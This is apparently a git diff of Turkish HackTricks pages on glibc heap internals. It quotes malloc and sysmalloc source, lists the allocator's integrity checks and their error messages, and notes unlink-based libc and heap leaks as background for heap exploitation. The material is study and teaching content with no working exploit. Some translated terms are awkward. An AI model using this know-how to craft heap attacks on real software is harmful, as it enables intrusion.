`victim->bck->fd == victim` değilse veya `victim->fd == av (arena)` değilse: * Hata mesajı: `malloc(): unsorted double linked list corrupted` * Her zaman sonuncusunu kontrol ettiğimizden, fd'sinin her zaman arena yapısına işaret etmesi gerekir. -* Sonraki blok, öncekinin kullanımda olduğunu belirtmiyorsa: +* Bir sonraki blok, öncekinin kullanımda olduğunu belirtmiyorsa: * Hata mesajı: `malloc(): invalid next->prev_inuse (unsorted)` * `fwd->bk_nextsize->fd_nextsize != fwd` ise: * Hata mesajı: `malloc(): largebin double linked list corrupted (nextsize)` @@ -115,12 +116,12 @@ Daha fazla bilgi için kontrol edin: * Hata mesajı: `free(): invalid pointer` * Boyut `MINSIZE`'dan büyükse ve boyut aynı zamanda hizalanmışsa: * Hata mesajı: `free(): invalid size` -* **`_int_free` tcache'deki kontroller:** +* **`_int_free` tcache içindeki kontroller:** * `mp_.tcache_count`'dan fazla giriş varsa: * Hata mesajı: `free(): too many chunks detected in tcache` * Giriş hizalanmamışsa: * Hata mesajı: `free(): unaligned chunk detected in tcache 2` -* Serbest bırakılan blok zaten serbest bırakılmışsa ve tcache'te bir blok olarak mevcutsa: +* Serbest bırakılan blok zaten serbest bırakılmış ve tcache'te bir blok olarak mevcutsa: * Hata mesajı: `free(): double free detected in tcache 2` * **`_int_free` hızlı blok içindeki kontroller:** * Blok boyutu geçersizse (çok büyük veya küçük) tetikleyin: @@ -131,33 +132,33 @@ Daha fazla bilgi için kontrol edin: * Hata mesajı: `invalid fastbin entry (free)` ## **`_int_free_merge_chunk`** -* **`_int_free_merge_chunk` içinde yapılan kontroller:** +* **`_int_free_merge_chunk` içindeki kontroller:** * Eğer chunk en üst chunk ise: * Hata mesajı: `double free or corruption (top)` * Eğer bir sonraki chunk arena sınırlarının dışında ise: * Hata mesajı: `double free or corruption (out)` -* Eğer chunk kullanılmamış olarak işaretlenmemişse (bir sonraki chunk'taki prev\_inuse'ta): +* Eğer chunk kullanılmamış olarak işaretlenmemişse (sonraki chunk'taki prev\_inuse içinde): * Hata mesajı: `double free or corruption (!prev)` -* Eğer bir sonraki chunk'ın boyutu çok küçük veya çok büyükse: +* Eğer bir sonraki chunk'ın boyutu çok küçük veya çok büyük ise: * Hata mesajı: `free(): invalid next size (normal)` -* Eğer önceki chunk kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, `prev_size` önceki chunk'ta belirtilen boyuttan farklıysa: +* Eğer önceki chunk kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, `prev_size` önceki chunk'ta belirtilen boyuttan farklı ise: * Hata mesajı: `corrupted size vs. prev_size while consolidating` ## **`_int_free_create_chunk`** -* **`_int_free_create_chunk` içinde yapılan kontroller:** -* Sırasız bin'e bir chunk eklenirken, `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` kontrol edilir: +* **`_int_free_create_chunk` içindeki kontroller:** +* Sırasız bin'e bir chunk eklerken, `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` kontrol edilir: * Hata mesajı: `free(): corrupted unsorted chunks` ## `do_check_malloc_state` -* **`do_check_malloc_state` içinde yapılan kontroller:** +* **`do_check_malloc_state` içindeki kontroller:** * Hatalı hızlı bin chunk'ı: * Hata mesajı: `do_check_malloc_state(): unaligned fastbin chunk detected` ## `malloc_consolidate` -* **`malloc_consolidate` içinde yapılan kontroller:** +* **`malloc_consolidate` içindeki kontroller:** * Hatalı hızlı bin chunk'ı: * Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected` * Yanlış hızlı bin chunk boyutu: @@ -165,8 +166,8 @@ Daha fazla bilgi için kontrol edin: ## `_int_realloc` -* **`_int_realloc` içinde yapılan kontroller:** -* Boyut çok büyük veya çok küçük: +* **`_int_realloc` içindeki kontroller:** +* Boyut çok büyük veya çok küçük ise: * Hata mesajı: `realloc(): invalid old size` -* Bir sonraki chunk'ın boyutu çok büyük veya çok küçük: +* Bir sonraki chunk'ın boyutu çok büyük veya çok küçük ise: * Hata mesajı: `realloc(): invalid next size` diff --git a/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index fdf21366c..df2ddc711 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -1,41 +1,41 @@ -# malloc ve sysmalloc +# malloc & sysmalloc + +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} ## Tahsis Sırası Özeti -(Bu özetde hiçbir kontrol açıklanmamış ve bazı durumlar kısalık için atlanmıştır) +(Bu özetde hiçbir kontrol açıklanmamıştır ve kısa olması için bazı durumlar atlanmıştır) -1. `__libc_malloc`, bir parça almak için tcache'den deneme yapar, yoksa `_int_malloc`ı çağırır +1. `__libc_malloc`, bir parça almak için tcache'den deneme yapar, eğer yoksa `_int_malloc`ı çağırır 2. `_int_malloc` : -1. Arena oluşturmaya çalışır, eğer yoksa +1. Arena oluşturmaya çalışır eğer yoksa 2. Doğru boyuttaki herhangi bir hızlı bin parçasını kullanır 1. Diğer hızlı parçalarla tcache'i doldurur 3. Doğru boyuttaki herhangi bir küçük bin parçasını kullanır 1. O boyuttaki diğer parçalarla tcache'i doldurur -4. İstenen boyut küçük kutular için değilse, hızlı kutuyu sıralanmamış kutuya birleştirir -5. Sıralanmamış kutuyu kontrol eder, yeterli alanı olan ilk parçayı kullanır -1. Bulunan parça daha büyükse, onu bir kısım döndürmek için böler ve kalanı sıralanmamış kutuya ekler -2. Bir parça, istenen boyuttaki parça ile aynı boyutta ise, onu geri döndürmek yerine tcache'i doldurmak için kullanır (tcache dolana kadar, sonra bir sonrakisini döndürür) -3. Kontrol edilen her küçük boyuttaki parça için, ilgili küçük veya büyük kutuya koyar -6. İstenen boyutun indeksindeki büyük kutuyu kontrol eder -1. İstenen boyuttan büyük ilk parçadan başlayarak bakmaya başlar, bulunursa onu döndürür ve hatırlatıcıları küçük kutuya ekler -7. Sonraki indekslerdeki büyük kutuları kontrol eder -1. Daha büyük bir indeksten başlayarak herhangi bir parçayı kontrol eder, bulunan ilk parçayı istenen boyutta kullanmak için böler ve hatırlatıcıyı sıralanmamış kutuya ekler -8. Önceki kutularda bir şey bulunamazsa, üst parçadan bir parça alır -9. Üst parça yeterince büyük değilse, `sysmalloc` ile genişletir +4. İstenen boyut küçük binler için değilse, hızlı binleri sıralanmamış bine birleştirir +5. Sıralanmamış bini kontrol eder, yeterli alanı olan ilk parçayı kullanır +1. Bulunan parça daha büyükse, bir kısmını döndürmek için böler ve geri kalanı sıralanmamış bine ekler +2. Bir parça, istenen boyutta olduğu gibi, onu geri döndürmek yerine tcache'i doldurmak için kullanır (tcache dolana kadar, sonra bir sonrakini döndürür) +3. Kontrol edilen her küçük boyuttaki parça için, ilgili küçük veya büyük bine koyar +6. İstenen boyutun indeksindeki büyük bini kontrol eder +1. İstenen boyuttan büyük olan ilk parçadan başlayarak bakmaya başlar, bulunursa onu döndürür ve geri kalanları küçük bine ekler +7. Önceki indekslerde bir şey bulunamazsa, üst parçadan bir parça alır +8. Önceki binalarda bir şey bulunamazsa, üst parçadan bir parça alır +9. Üst parça yeterince büyük değilse, `sysmalloc` ile genişletilir ## \_\_libc\_malloc @@ -177,15 +177,9 @@ __set_errno (ENOMEM); return NULL; } ``` -
- ### Arena Kullanılabilir arenaların olmadığı nadir durumlarda, bir parça almak için `mmap`'den bir parça almak için `sysmalloc` kullanır: - -
- -_int_malloc arenaya ait değil ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from @@ -198,17 +192,19 @@ alloc_perturb (p, bytes); return p; } ``` +
+ ### Hızlı Bin -Gerekli boyut Hızlı Bin boyutları arasındaysa, hızlı bir kutudan bir parça kullanmaya çalışın. Temelde, boyuta bağlı olarak geçerli parçaların bulunması gereken hızlı bin endeksini bulacak ve varsa onlardan birini döndürecektir.\ -Ayrıca, tcache etkinleştirilmişse, **o boyuttaki tcache kutusunu hızlı kutularla dolduracaktır**. +Gerekli boyut Hızlı Bin boyutları arasında ise, hızlı bir bin bloğundan bir parça kullanmaya çalışın. Temel olarak, boyuta bağlı olarak geçerli parçaların bulunması gereken hızlı bin endeksini bulacak ve varsa onlardan birini döndürecektir.\ +Ayrıca, tcache etkinleştirilmişse, o boyuttaki tcache binini hızlı binalarla dolduracaktır. Bu işlemler gerçekleştirilirken bazı güvenlik kontrolleri burada yürütülür: -- Eğer parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası tespit edildi 2` -- İleriye doğru parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası tespit edildi` -- Döndürülen parçanın boyutu, hızlı bindeki dizini nedeniyle doğru değilse: `malloc(): bellek bozulması (hızlı)` -- Tcache'i doldurmak için kullanılan herhangi bir parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası tespit edildi 3` +- Eğer parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası algılandı 2` +- İleriye doğru parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası algılandı` +- Döndürülen parçanın boyutu, hızlı bindeki endeksi nedeniyle doğru değilse: `malloc(): bellek bozulması (hızlı)` +- Tcache'i doldurmak için kullanılan herhangi bir parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası algılandı 3`
@@ -293,17 +289,17 @@ return p; ### Küçük Bin -Yorumda belirtildiği gibi küçük getiriler, bir dizin başına bir boyut tutar, bu nedenle geçerli bir parçanın mevcut olup olmadığını kontrol etmek çok hızlıdır, bu nedenle hızlı getirilerden sonra küçük getiriler kontrol edilir. +Yorumda belirtildiği gibi küçük binalar, bir dizine bir boyut tutar, bu nedenle geçerli bir parçanın mevcut olup olmadığını kontrol etmek çok hızlıdır, bu nedenle hızlı binalardan sonra küçük binalar kontrol edilir. -İlk kontrol, istenen boyutun küçük bir getiri içinde olup olamayacağını bulmaktır. Bu durumda, küçük bin içindeki ilgili **dizini alın** ve **mevcut bir parçanın olup olmadığını** kontrol edin. +İlk kontrol, istenen boyutun bir küçük binin içinde olup olamayacağını bulmaktır. Bu durumda, küçük bin içindeki ilgili **dizini alın** ve **mevcut bir parçanın olup olmadığını** kontrol edin. -Ardından, şu güvenlik kontrolü yapılır: +Ardından, bir güvenlik kontrolü yapılır: - `victim->bk->fd = victim` ise. Her iki parçanın doğru şekilde bağlı olup olmadığını görmek için. -Bu durumda, parça **`inuse` bitini alır,** çift yönlü bağlı liste düzeltilir, böylece bu parça listeden çıkar (kullanılacak), ve gerekiyorsa ana arenadan farklı bir bit ayarlanır. +Bu durumda, parça **`inuse` bitini alır,** çift yönlü bağlı liste düzeltilir, böylece bu parça bundan kaybolur (kullanılacak), ve gerekiyorsa ana arenadan olmayan bit ayarlanır. -Son olarak, istenen boyuttaki tcache dizinini küçük bin içindeki diğer parçalarla (varsa) doldurun. +Son olarak, istenen boyuttaki tcache dizinini küçük bin içindeki diğer parçalarla doldurun (varsa).
@@ -368,7 +364,7 @@ return p; } } ``` -### malloc\_consolidate +### malloc\_birleştir Eğer küçük bir parça değilse, büyük bir parçadır ve bu durumda bellek parçalanmasını önlemek için **`malloc_consolidate`** çağrılır. @@ -397,14 +393,14 @@ malloc_consolidate (av); ```
-malloc birleştirme işlevi temelde parçaları hızlı binlerden kaldırır ve bunları sırasız bine yerleştirir. Bir sonraki malloc işleminden sonra bu parçalar ilgili küçük/hızlı binalarında düzenlenecektir. +malloc birleştirme işlevi temelde parçaları hızlı binlerden kaldırır ve bunları sırasız bine yerleştirir. Bir sonraki malloc işleminden sonra bu parçalar ilgili küçük/hızlı bine düzenlenecektir. -Bu parçalar kaldırılırken, eğer kullanılmayan önceki veya sonraki parçalarla karşılaşılırsa, bunlar **ayrılmış ve birleştirilir** ve ardından nihai parça **sırasız** bine yerleştirilir. +Bu parçalar kaldırılırken, eğer kullanılmayan önceki veya sonraki parçalarla karşılaşılırsa, bunlar **ayrılmaz ve birleştirilir** ve ardından nihai parça **sırasız** bine yerleştirilir. Her hızlı bin parçası için birkaç güvenlik kontrolü gerçekleştirilir: * Parça hizalanmamışsa tetikle: `malloc_consolidate(): hizalanmamış fastbin parçası tespit edildi` -* Parçanın endeksi nedeniyle olması gereken boyuttan farklı bir boyutta olması durumunda: `malloc_consolidate(): geçersiz parça boyutu` +* Parça, içinde bulunduğu dizin nedeniyle olması gereken boyuttan farklıysa: `malloc_consolidate(): geçersiz parça boyutu` * Önceki parça kullanılmıyorsa ve önceki parçanın boyutu `prev_chunk` tarafından belirtilen boyuttan farklıysa: `fastbins içinde bozulmuş boyut vs. prev_size` ```c // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 @@ -510,13 +506,13 @@ av->top = p; ### Sıralanmamış kova -Potansiyel geçerli bir parçacık kullanmak için sıralanmamış kovayı kontrol etme zamanı geldi. +Potansiyel geçerli bir parçacık bulmak için sıralanmamış kovayı kontrol etme zamanı geldi. #### Başlangıç Bu, `bk` yönünde sıralanmamış kovayı dolaşacak olan büyük bir döngü ile başlar ve `while ((victim = sıralanmamış_parçacıklar (av)->bk) != sıralanmamış_parçacıklar (av))` ile sona erene kadar devam eder. -Ayrıca, her yeni parçacık düşünüldüğünde bazı güvenlik kontrolleri gerçekleştirilir: +Ayrıca, her yeni parçacık değerlendirildiğinde bazı güvenlik kontrolleri gerçekleştirilir: * Parçacık boyutu garipse (çok küçük veya çok büyük): `malloc(): geçersiz boyut (sıralanmamış)` * Sonraki parçacık boyutu garipse (çok küçük veya çok büyük): `malloc(): geçersiz sonraki boyut (sıralanmamış)` @@ -576,9 +572,15 @@ if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); ``` +
+ #### eğer `in_smallbin_range` -Eğer parça istenilen boyuttan büyükse, onu kullan ve parçanın geri kalan alanını sırasız listeye koyarak `last_remainder`'ı güncelle. +Eğer parça istenilen boyuttan büyükse, onu kullan ve parçanın geri kalan alanını sırasız listeye koyarak `last_remainder`'ı güncelle. + +
+ +_int_malloc sırasız parça in_smallbin_range ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14 @@ -619,7 +621,7 @@ return p; } ``` - +
Başarılı olduysa, parçayı döndür ve işlemi sonlandır, başarısız olduysa işlemi devam ettir... @@ -630,9 +632,9 @@ Başarılı olduysa, parçayı döndür ve işlemi sonlandır, başarısız oldu * Tcache dolu değilse, parçayı tcache'e ekleyin ve kullanılabilecek bir tcache parçası olduğunu belirtmeye devam edin * Tcache doluysa, sadece kullanarak geri döndürün - +
-<özet>_int_malloc sıralanmamış kova eşit boyutta +_int_malloc sıralanmamış kova eşit boyutta ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14 @@ -672,13 +674,13 @@ return p; ```
-Eğer blok geri döndürülmediyse veya tcache'e eklenmediyse, kodla devam edin... +Eğer parça geri dönmediyse veya tcache'e eklenmediyse, kodla devam edin... -#### bloğu bir kovaya yerleştir +#### parçayı bir kovaya yerleştirin -Kontrol edilen bloğu, bloğun boyutuna göre küçük kovaya veya büyük kovaya depolayın (büyük kovayı düzgün şekilde organize ederek). +Parçayı, parçanın boyutuna göre küçük kovaya veya büyük kovaya depolayın (büyük kovayı düzgün bir şekilde düzenleyerek). -Büyük kova çift yönlü bağlı listesinin bozulmadığından emin olmak için güvenlik kontrolleri yapılır: +Her iki büyük kova çift yönlü bağlı listesinin bozulmadığından emin olmak için güvenlik kontrolleri yapılıyor: * Eğer `fwd->bk_nextsize->fd_nextsize != fwd` ise: `malloc(): largebin double linked list corrupted (nextsize)` * Eğer `fwd->bk->fd != fwd` ise: `malloc(): largebin double linked list corrupted (bk)` @@ -753,11 +755,11 @@ bck->fd = victim; ``` #### `_int_malloc` sınırları -Bu noktada, kullanılabilecek bir tcache parçası varsa ve limit aşıldıysa, sadece **bir tcache parçası döndürün**. +Bu noktada, kullanılabilecek bir parça tcache'de depolanmışsa ve limit aşılmışsa, sadece **bir tcache parçası döndürün**. -Ayrıca, **MAX\_ITERS** ulaşıldığında, döngüden çıkın ve farklı bir şekilde (top parça) bir parça alın. +Ayrıca, **MAX\_ITERS** ulaşıldığında, döngüden çıkın ve farklı bir şekilde (üst parça) bir parça alın. -`return_cached` ayarlandıysa, daha büyük aramalardan kaçınmak için sadece bir parçayı tcacheden döndürün. +`return_cached` ayarlandıysa, daha büyük aramalardan kaçınmak için sadece bir parça tcache'den döndürün. ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 @@ -792,13 +794,17 @@ Eğer sınırlar aşılmamışsa, kodla devam edin... ### Büyük Bin (indeksine göre) -Eğer istek büyükse (küçük binde değil) ve henüz hiçbir parça döndürmemişsek, istenen boyuttaki **indeksi büyük bine** alın, **doluluk kontrol edilir** ve eğer **bu bine en büyük parça istenenden büyükse** ve bu durumda istenen boyut için **kullanılabilecek en küçük parça** bulunur. +Eğer istek büyükse (küçük binde değil) ve henüz hiçbir parça döndürmemişsek, istenen boyuttaki parçanın **indeksini büyük bine** alın, **doluluk kontrolü yapın** ve eğer bu bine ait **en büyük parça istenilen boyuttan büyükse** ve bu durumda istenen boyut için **kullanılabilecek en küçük parçayı bulun**. -Son olarak kullanılan parçadan kalan alan yeni bir parça oluşturabilecekse, bunu sıralanmamış bine ekleyin ve lsast\_reminder güncellenir. +Son olarak kullanılan parçadan kalan boş alan yeni bir parça oluşturabilecekse, bunu düzensiz bine ekleyin ve lsast\_reminder güncellenir. -Hatırlatıcıyı sıralanmamış bine eklerken bir güvenlik kontrolü yapılır: +Hatırlatıcıyı düzensiz bine eklerken bir güvenlik kontrolü yapılır: -* `bck->fd-> bk != bck`: `malloc(): bozulmuş sıralanmamış parçalar` +* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks` + +
+ +_int_malloc Büyük bin (indeksine göre) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 @@ -871,13 +877,13 @@ return p; ```
-Eğer bir blok buna uygun bulunamazsa, devam et +Eğer bu için uygun bir parça bulunamazsa devam edin ### Büyük Bin (bir sonraki büyük) -Eğer tam olarak büyük bin içinde kullanılabilecek bir blok bulunamazsa, tüm bir sonraki büyük binler boyunca döngüye devam et (hemen daha büyük olan başlayarak) bulunana kadar. +Tam büyük binde kullanılabilecek bir parça bulunamazsa, tüm bir sonraki büyük binler arasında döngüye devam edin (hemen daha büyük olan başlayarak) bulunana kadar. -Bölünmüş bloğun geri kalanı sıralanmamış bine eklenir, last\_reminder güncellenir ve aynı güvenlik kontrolü yapılır: +Bölünmüş parçanın geri kalanı sıralanmamış bine eklenir, last\_reminder güncellenir ve aynı güvenlik kontrolü yapılır: * `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2` @@ -1001,7 +1007,7 @@ return p; Bu noktada, Üst parçadan yeni bir parça almanın zamanı geldi (yeterince büyükse). -Chunk boyutunun çok büyük olmadığından emin olmak için bir güvenlik kontrolü ile başlar (bozulmuş): +Parçanın boyutunun çok büyük olmadığından emin olmak için bir güvenlik kontrolü ile başlar (bozulmuş): * `chunksize(av->top) > av->system_mem`: `malloc(): bozulmuş üst boyut` @@ -1076,8 +1082,6 @@ return p; } ``` -
- ## sysmalloc ### sysmalloc başlangıç @@ -1157,7 +1161,7 @@ Eski üst parça bilgilerini alarak başlar ve aşağıdaki koşullardan bazıla * Eski heap boyutu 0'dır (yeni heap) * Önceki heap'in boyutu MINSIZE'dan büyük ve eski Üst kullanımda -* Heap sayfa boyutuna hizalanmıştır (0x1000, bu nedenle alt 12 bit 0 olmalıdır) +* Heap sayfa boyutuna hizalanmıştır (0x1000, bu nedenle düşük 12 bit 0 olmalıdır) Ardından şunu da kontrol eder: @@ -1184,12 +1188,16 @@ prev_inuse (old_top) && /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ``` +
+ ### sysmalloc ana arena değil Öncelikle bu heap için önceki heap'i **genişletmeye** çalışacaktır. Bu mümkün değilse **yeni bir heap tahsis etmeye** çalışacak ve onu kullanabilmek için işaretçileri güncelleyecektir.\ -Son olarak, bu işe yaramazsa **`sysmalloc_mmap`**'ı çağırmayı deneyin. +Son olarak, eğer bu işe yaramazsa, **`sysmalloc_mmap`** fonksiyonunu çağırmayı deneyin. -
+
+ +sysmalloc ana arena değil ```c if (av != &main_arena) { @@ -1249,9 +1257,15 @@ return mm; } } ``` +
+ ### sysmalloc ana alanı -Gerekli bellek miktarını hesaplamaya başlar. Eski kullanılmayan belleği kullanmak için ardışık bellek istemeye başlayacak. Ayrıca bazı hizalama işlemleri gerçekleştirilir. +Gerekli bellek miktarını hesaplamaya başlar. Eski kullanılmayan belleği kullanmak mümkün olacağından, ardışık bellek istemeye başlayacaktır. Ayrıca bazı hizalama işlemleri gerçekleştirilir. + +
+ +sysmalloc ana alanı ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 @@ -1307,7 +1321,9 @@ LIBC_PROBE (memory_sbrk_more, 2, brk, size); ``` ### sysmalloc ana arena önceki hata 1 -Eğer önceki işlem `MORECORE_FAILURE` döndürdüyse, hafıza tahsis etmek için `sysmalloc_mmap_fallback` kullanmayı tekrar dene. +Eğer önceki işlem `MORECORE_FAILURE` döndürdüyse, hafıza tahsis etmek için `sysmalloc_mmap_fallback` kullanarak tekrar deneyin. + +
```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 @@ -1527,7 +1543,7 @@ _int_free (av, old_top, 1); ### sysmalloc finali -Arenayı bilgileri güncelleyerek tahsisi tamamla +Arenayı bilgileri güncelleyerek tahsisatı tamamla ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 @@ -1649,16 +1665,17 @@ return chunk2mem (p); ``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index fadea2e42..e7f18d8d2 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -1,18 +1,19 @@ # unlink +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ### Kod ```c @@ -82,7 +83,7 @@ Libc Sızıntıları: * P, çift yönlü bağlı listedeki başta bulunuyorsa, `bk` libc'te `malloc_state`'e işaret edecektir * P, çift yönlü bağlı listedeki sonunda bulunuyorsa, `fd` libc'te `malloc_state`'e işaret edecektir -* Çift yönlü bağlı liste yalnızca bir boş parça içeriyorsa, P çift yönlü bağlı listede bulunur ve hem `fd` hem de `bk`, `malloc_state` içindeki adresi sızdırabilir. +* Çift yönlü bağlı listede yalnızca bir boş parça bulunduğunda, P çift yönlü bağlı listede bulunur ve hem `fd` hem de `bk`, `malloc_state` içindeki adresi sızdırabilir. Heap Sızıntıları: diff --git a/binary-exploitation/libc-heap/heap-overflow.md b/binary-exploitation/libc-heap/heap-overflow.md index 8009f2d86..ae018caf4 100644 --- a/binary-exploitation/libc-heap/heap-overflow.md +++ b/binary-exploitation/libc-heap/heap-overflow.md @@ -1,24 +1,25 @@ # Heap Taşması +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
